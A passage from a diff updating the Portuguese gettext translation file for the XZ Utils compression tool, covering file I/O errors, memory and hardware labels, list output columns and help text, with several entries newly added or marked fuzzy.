obviously #. shouldn't be removed. -#: src/xz/file_io.c:333 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: o ficheiro parece ter sido movido, não será eliminado" -#: src/xz/file_io.c:340 src/xz/file_io.c:882 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: impossível remover: %s" -#: src/xz/file_io.c:366 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: impossível definir o proprietário do ficheiro: %s" -#: src/xz/file_io.c:372 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: impossível definir o grupo do ficheiro: %s" -#: src/xz/file_io.c:391 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: impossível definir as permissões do ficheiro: %s" -#: src/xz/file_io.c:517 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Erro ao obter as bandeiras de estado da entrada padrão: %s" -#: src/xz/file_io.c:574 src/xz/file_io.c:636 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: é uma ligação simbólica, a ignorar" -#: src/xz/file_io.c:665 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: é uma pasta, a ignorar" -#: src/xz/file_io.c:671 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: não é um ficheiro normal, a ignorar" -#: src/xz/file_io.c:688 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: o ficheiro tem o bit setuid ou setgid definido, a ignorar" -#: src/xz/file_io.c:695 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: o ficheiro tem o bit sticky definido, a ignorar" -#: src/xz/file_io.c:702 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: o ficheiro de entrada tem mais de uma ligação absoluta, a ignorar" -#: src/xz/file_io.c:792 +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "Nome de ficheiro vazio, a ignorar" + +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Erro ao restaurar as bandeiras de estado para a entrada padrão: %s" -#: src/xz/file_io.c:840 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Erro ao obter as bandeiras de estado do ficheiro da saída padrão: %s" -#: src/xz/file_io.c:1018 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Erro ao restaurar a bandeira O_APPEND para a saída padrão: %s" -#: src/xz/file_io.c:1030 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: falha ao fechar o ficheiro: %s" -#: src/xz/file_io.c:1066 src/xz/file_io.c:1309 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: falha na procura ao tentar criar um ficheiro escasso: %s" -#: src/xz/file_io.c:1167 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: erro de leitura: %s" -#: src/xz/file_io.c:1191 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: erro ao procurar o ficheiro: %s" -#: src/xz/file_io.c:1201 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: fim de ficheiro inesperado" -#: src/xz/file_io.c:1260 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: erro de escrita: %s" -#: src/xz/hardware.c:137 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Desactivado" # Espaços adicionados para manter alinhamento com mensagens adjacentes -- Rafael -#. TRANSLATORS: Test with "xz --info-memory" to see if -#. the alignment looks nice. -#: src/xz/hardware.c:156 -msgid "Total amount of physical memory (RAM): " +#: src/xz/hardware.c:268 +#, fuzzy +#| msgid "Total amount of physical memory (RAM): " +msgid "Amount of physical memory (RAM):" msgstr "Quantidade total de memória física (RAM): " -# Espaços adicionados para manter alinhamento com mensagens adjacentes -- Rafael -#: src/xz/hardware.c:158 -msgid "Memory usage limit for compression: " -msgstr "Limite de uso de memória para compressão: " +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" + +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" # Espaços reduzidos para manter alinhamento com mensagens adjacentes -- Rafael -#: src/xz/hardware.c:160 -msgid "Memory usage limit for decompression: " +#: src/xz/hardware.c:272 +#, fuzzy +#| msgid "Memory usage limit for decompression: " +msgid "Multi-threaded decompression:" msgstr "Limite de uso de memória para descompressão: " +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +#, fuzzy +#| msgid "Memory usage limit reached" +msgid "Memory usage limits:" +msgstr "Limite de uso de memória alcançado" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +#, fuzzy +#| msgid " Compressed size: %s\n" +msgid "Compressed size:" +msgstr " Tam. comprimido: %s\n" + +#: src/xz/list.c:70 +#, fuzzy +#| msgid " Uncompressed size: %s\n" +msgid "Uncompressed size:" +msgstr " Tam. descomprimido: %s\n" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +#, fuzzy +#| msgid " Stream padding: %s\n" +msgid "Stream Padding:" +msgstr " Espaço do fluxo: %s\n" + +#: src/xz/list.c:74 +#, fuzzy +#| msgid " Memory needed: %s MiB\n" +msgid "Memory needed:" +msgstr " Memória requerida: %s MiB\n" + +# Espaço adicionado para promover alinhamento, vide "xz -lvv foo.xz" +#: src/xz/list.c:75 +#, fuzzy +#| msgid " Sizes in headers: %s\n" +msgid "Sizes in headers:" +msgstr " Tam. em cabeçalhos: %s\n" + +#: src/xz/list.c:78 +#, fuzzy +#| msgid " Number of files: %s\n" +msgid "Number of files:" +msgstr " Nº. de ficheiros: %s\n" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +#, fuzzy +#| msgid "Totals:" +msgid "TotalSize" +msgstr "Totais:" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + #. TRANSLATORS: Indicates that there is no integrity check. -#. This string is used in tables, so the width must not -#. exceed ten columns with a fixed-width font. -#: src/xz/list.c:65 +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 msgid "None" msgstr "Nenhum" #. TRANSLATORS: Indicates that integrity check name is not known, -#. but the Check ID is known (here 2). This and other "Unknown-N" -#. strings are used in tables, so the width must not exceed ten -#. columns with a fixed-width font. It's OK to omit the dash if -#. you need space for one extra letter, but don't use spaces. -#: src/xz/list.c:72 +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "SemNome-2" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:73 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "SemNome-3" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:75 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "SemNome-5" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:76 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "SemNome-6" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:77 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "SemNome-7" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:78 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "SemNome-8" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:79 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "SemNome-9" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:81 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "SemNome-11" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:82 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "SemNome-12" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:83 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "SemNome-13" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:84 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "SemNome-14" # Não exceder 10 caracteres e espaços não são permitidos -- Rafael -#: src/xz/list.c:85 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "SemNome-15" -#: src/xz/list.c:153 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: o ficheiro está vazio" -#: src/xz/list.c:158 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: muito pequeno para um ficheiro .xz válido" @@ -351,126 +569,45 @@ msgstr "%s: muito pequeno para um ficheiro .xz válido" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:677 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Fluxos Blocos Comprimido Descomprimido Rácio Verif. Nome de ficheiro" -#: src/xz/list.c:717 -#, c-format -msgid " Streams: %s\n" -msgstr " Fluxos: %s\n" - -#: src/xz/list.c:719 -#, c-format -msgid " Blocks: %s\n" -msgstr " Blocos: %s\n" - -#: src/xz/list.c:721 -#, c-format -msgid " Compressed size: %s\n" -msgstr " Tam. comprimido: %s\n" - -#: src/xz/list.c:724 -#, c-format -msgid " Uncompressed size: %s\n" -msgstr " Tam. descomprimido: %s\n" - -#: src/xz/list.c:727 -#, c-format -msgid " Ratio: %s\n" -msgstr " Rácio: %s\n" - -#: src/xz/list.c:729 -#, c-format -msgid " Check: %s\n" -msgstr " Verificação: %s\n" - -#: src/xz/list.c:730 -#, c-format -msgid " Stream padding: %s\n" -msgstr " Espaço do fluxo: %s\n" - -#. TRANSLATORS: The second line is column headings. All except -#. Check are right aligned; Check is left aligned. Test with -#. "xz -lv foo.xz". -#: src/xz/list.c:758 -msgid "" -" Streams:\n" -" Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" -msgstr "" -" Fluxos:\n" -" Fluxo Blocos DesvioComp DesvioDescomp Tam.Comp TamDescomp Rácio Verif Espaço" - -#. TRANSLATORS: The second line is column headings. All -#. except Check are right aligned; Check is left aligned. -#: src/xz/list.c:813 -#, c-format -msgid "" -" Blocks:\n" -" Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" -msgstr "" -" Blocos:\n" -" Fluxo Bloco DesvioComp DesvioDescomp Tam.Total TamDescomp Rácio Verif" - -#. TRANSLATORS: These are additional column headings -#. for the most verbose listing mode. CheckVal -#. (Check value), Flags, and Filters are left aligned. -#. Header (Block Header Size), CompSize, and MemUsage -#. are right aligned. %*s is replaced with 0-120 -#. spaces to make the CheckVal column wide enough. -#. Test with "xz -lvv foo.xz". -#: src/xz/list.c:825 -#, c-format -msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" -msgstr " ValVerif %*s Cabeç. Band. Tam.Comp UsoMem. Filtros" - -#: src/xz/list.c:903 src/xz/list.c:1078 -#, c-format -msgid " Memory needed: %s MiB\n" -msgstr " Memória requerida: %s MiB\n" - -# Espaço adicionado para promover alinhamento, vide "xz -lvv foo.xz" -#: src/xz/list.c:905 src/xz/list.c:1080 -#, c-format -msgid " Sizes in headers: %s\n" -msgstr " Tam. em cabeçalhos: %s\n" - -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Sim" -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Não" -#: src/xz/list.c:907 src/xz/list.c:1082 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Versão mínima do XZ Utils: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1057 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s ficheiro\n" msgstr[1] "%s ficheiros\n" -#: src/xz/list.c:1070 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Totais:" -#: src/xz/list.c:1071 -#, c-format -msgid " Number of files: %s\n" -msgstr " Nº. de ficheiros: %s\n" - -#: src/xz/list.c:1146 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list só funciona em ficheiros .xz (--format=xz ou --format=auto)" -#: src/xz/list.c:1152 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list não suporta a leitura da entrada padrão" @@ -485,15 +622,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: fim de entrada inesperado ao ler nomes de ficheiros" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: encontrado carácter nulo ao ler nomes de ficheiro; talvez queira usar \"--files0\" em vez de \"--files\"?" -#: src/xz/main.c:174 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Compressão e descompressão com --robot ainda não são suportadas." -#: src/xz/main.c:252 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Impossível ler dados da entrada padrão ao ler nomes de ficheiro da entrada padrão" @@ -501,68 +639,69 @@ msgstr "Impossível ler dados da entrada padrão ao ler nomes de ficheiro da ent #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:728 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:791 src/xz/message.c:841 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Erro interno (erro)" -#: src/xz/message.c:798 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Impossível estabelecer gestores de sinais" -#: src/xz/message.c:807 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Sem teste de integridade; a integridade do ficheiro não será verificada" -#: src/xz/message.c:810 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Tipo de verificação de integridade não suportada; a integridade do ficheiro não será verificada" -#: src/xz/message.c:817 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Limite de uso de memória alcançado" -#: src/xz/message.c:820 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Formato de ficheiro não reconhecido" -#: src/xz/message.c:823 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opções não suportadas" -#: src/xz/message.c:826 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Os dados comprimidos estão corrompidos" -#: src/xz/message.c:829 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Fim de entrada inesperado" -#: src/xz/message.c:862 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "São necessários %s MiB de memória. O limitador está desactivado." -#: src/xz/message.c:890 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "São necessários %s MiB de memória. O limite é %s." -#: src/xz/message.c:1057 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: cadeia de filtros: %s\n" -#: src/xz/message.c:1067 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Tente \"%s --help\" para mais informações." -#: src/xz/message.c:1093 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -573,17 +712,17 @@ msgstr "" "Comprime ou descomprime FICHEIROs no formato .xz.\n" "\n" -#: src/xz/message.c:1100 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Argumentos obrigatórios para opções longas são também obrigatórios para\n" "opções curtas.\n" -#: src/xz/message.c:1104 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Modo de operação:\n" -#: src/xz/message.c:1107 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -595,7 +734,7 @@ msgstr "" " -t, --test testa a integridade do ficheiro comprimido\n" " -l, --list lista informações sobre ficheiros .xz" -#: src/xz/message.c:1113 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -603,7 +742,7 @@ msgstr "" "\n" " Modificadores de operações:\n" -#: src/xz/message.c:1116 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -615,7 +754,7 @@ msgstr "" " -c, --stdout escreve na saída padrão e não elimina os ficheiros de\n" " entrada" -#: src/xz/message.c:1122 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -623,10 +762,18 @@ msgstr "" " --single-stream descomprime só o primeiro fluxo e ignora silenciosamente\n" " possíveis dados de entrada restantes" -#: src/xz/message.c:1125 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -640,7 +787,7 @@ msgstr "" " devem ser terminados com o carácter de nova linha\n" " --files0[=FICH] igual a --files, mas usa o carácter nulo como terminador" -#: src/xz/message.c:1134 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -648,12 +795,18 @@ msgstr "" "\n" " Opções básicas de formato e compressão de ficheiro:\n" -#: src/xz/message.c:1136 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FMT formato de ficheiro a codificar ou descodificar; os\n" " valores possíveis são \"auto\" (predefinição), \"xz\",\n" @@ -661,11 +814,11 @@ msgstr "" " -C, --check=TESTE tipo de teste de integridade: \"none\" (cuidado!),\n" " \"crc32\", \"crc64\" (predefinição) ou \"sha256\"" -#: src/xz/message.c:1141 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check não verifica a integridade ao descomprimir" -#: src/xz/message.c:1145 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -674,7 +827,7 @@ msgstr "" " conta o uso de memória do compressor *e* descompressor\n" " antes de usar 7-9!" -#: src/xz/message.c:1149 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -682,16 +835,20 @@ msgstr "" " -e, --extreme tenta melhorar o rácio de compressão usando mais tempo de\n" " CPU; não afecta os requisitos de memória do descompressor" -#: src/xz/message.c:1153 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NÚM usa no máximo NÚM linhas; a predefinição é 1; defina para\n" " 0 para usar tantas linhas como núcleos de processadores\n" " haja" -#: src/xz/message.c:1158 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -702,17 +859,24 @@ msgstr "" " use para definir o tamanho de bloco para compressão com\n" " linhas" -#: src/xz/message.c:1162 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=TAM\n" " inicia um novo bloco .xz após os intervalos dados,\n" " separados por vírgulas, de dados descomprimidos" -#: src/xz/message.c:1166 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -725,14 +889,22 @@ msgstr "" " entrada bloquearia, todos os dados pendentes serão\n" " despejados" -#: src/xz/message.c:1172 -#, no-c-format +#: src/xz/message.c:1026 +#, fuzzy, no-c-format +#| msgid "" +#| " --memlimit-compress=LIMIT\n" +#| " --memlimit-decompress=LIMIT\n" +#| " -M, --memlimit=LIMIT\n" +#| " set memory usage limit for compression, decompression,\n" +#| " or both; LIMIT is in bytes, % of RAM, or 0 for defaults" msgid "" " --memlimit-compress=LIMIT\n" " --memlimit-decompress=LIMIT\n" +" --memlimit-mt-decompress=LIMIT\n" " -M, --memlimit=LIMIT\n" " set memory usage limit for compression, decompression,\n" -" or both; LIMIT is in bytes, % of RAM, or 0 for defaults" +" threaded decompression, or all of these; LIMIT is in\n" +" bytes, % of RAM, or 0 for defaults" msgstr "" " --memlimit-compress=LIMITE\n" " --memlimit-decompress=LIMITE\n" @@ -741,7 +913,7 @@ msgstr "" " descompressão ou ambos; LIMITE é em bytes, % de RAM ou 0\n" " para predefinições" -#: src/xz/message.c:1179 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -750,7 +922,7 @@ msgstr "" " uso de memória, devolve um erro em vez de reduzir as\n" " configurações" -#: src/xz/message.c:1185 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -758,7 +930,27 @@ msgstr "" "\n" " Cadeia de filtros personalizada para compressão (alternativa às predefinições):" -#: src/xz/message.c:1194 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -790,15 +982,28 @@ msgstr "" " depth=NUM máximo de profundidade de pesquisa;\n" " 0=automatic (predefinição)" -#: src/xz/message.c:1209 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --arm[=OPTS] ARM BCJ filter (little endian only)\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +" --arm[=OPTS] ARM BCJ filter\n" +" --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +" --arm64[=OPTS] ARM64 BCJ filter\n" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" -" --arm[=OPTS] ARM BCJ filter (little endian only)\n" -" --armthumb[=OPTS] ARM-Thumb BCJ filter (little endian only)\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -813,7 +1018,7 @@ msgstr "" " start=NUM desvio inicial para conversões\n" " (predefinição=0)" -#: src/xz/message.c:1221 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -826,7 +1031,7 @@ msgstr "" " dist=NÚM distância entre bytes a serem subtraídos\n" " de cada um (1-256; 1)" -#: src/xz/message.c:1229 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -834,7 +1039,7 @@ msgstr "" "\n" " Outras opções:\n" -#: src/xz/message.c:1232 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -842,15 +1047,15 @@ msgstr "" " -q, --quiet suprime avisos, use duas vezes para suprimir também erros\n" " -v, --verbose é verboso; use duas vezes para ainda mais verbosidade" -#: src/xz/message.c:1237 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn fazer avisos não afecta o estado da saída" -#: src/xz/message.c:1239 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot usa mensagens analisáveis por máquina (útil para scripts)" -#: src/xz/message.c:1242 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -858,7 +1063,7 @@ msgstr "" " --info-memory mostra a quantidade total de RAM e os limites de uso\n" " de memória actualmente activos e sai" -#: src/xz/message.c:1245 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -866,7 +1071,7 @@ msgstr "" " -h, --help mostra a ajuda curta (lista só as opções básicas)\n" " -H, --long-help mostra esta mensagem de ajuda e sai" -#: src/xz/message.c:1249 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -874,11 +1079,12 @@ msgstr "" " -h, --help mostra esta mensagem de ajuda e sai\n" " -H, --long-help mostra a ajuda longa (lista também as opções avançadas)" -#: src/xz/message.c:1254 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version mostra o número da versão e sai" -#: src/xz/message.c:1256 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -890,33 +1096,48 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation 